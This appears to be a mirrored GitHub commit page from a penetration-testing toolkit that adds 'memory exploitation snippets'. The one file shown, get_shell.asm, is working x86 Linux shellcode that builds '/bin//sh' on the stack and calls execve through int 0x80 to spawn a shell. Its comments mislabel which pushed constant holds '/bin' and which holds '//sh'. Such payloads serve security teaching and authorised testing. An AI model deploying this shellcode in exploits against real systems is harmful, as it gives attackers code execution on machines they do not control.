mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-03 07:14:54 -04:00
some memory exploitation snippets
This commit is contained in:
parent
d987311195
commit
ab05e249d4
19 changed files with 2613 additions and 0 deletions
19
Memory_Exploits/Assembly/get_shell.asm
Normal file
19
Memory_Exploits/Assembly/get_shell.asm
Normal file
|
@ -0,0 +1,19 @@
|
|||
;Universal Shellcode for Unix/Linux
|
||||
section .text ; Text section
|
||||
global _start ; Define _start function
|
||||
|
||||
_start: ; _start function
|
||||
xor eax, eax ; Zero out eax REGister
|
||||
xor ebx, ebx ; Zero out ebx REGister
|
||||
xor ecx, ecx ; Zero out ecx REGister
|
||||
cdq ; Zero out edx using the sign bit from eax
|
||||
push ecx ; Insert 4 byte null in stack
|
||||
push 0x68732f6e ; Insert /bin in the stack
|
||||
push 0x69622f2f ; Insert //sh in the stack
|
||||
mov ebx, esp ; Put /bin//sh in stack
|
||||
push ecx ; Put 4 Byte in stack
|
||||
push ebx ; Put ebx in stack
|
||||
mov ecx, esp ; Insert ebx address in ecx
|
||||
xor eax, eax ; Zero out eax register
|
||||
mov al, 11 ; Insert __NR_execve 11 syscall
|
||||
int 0x80 ; Syscall execute
|
Loading…
Add table
Add a link
Reference in a new issue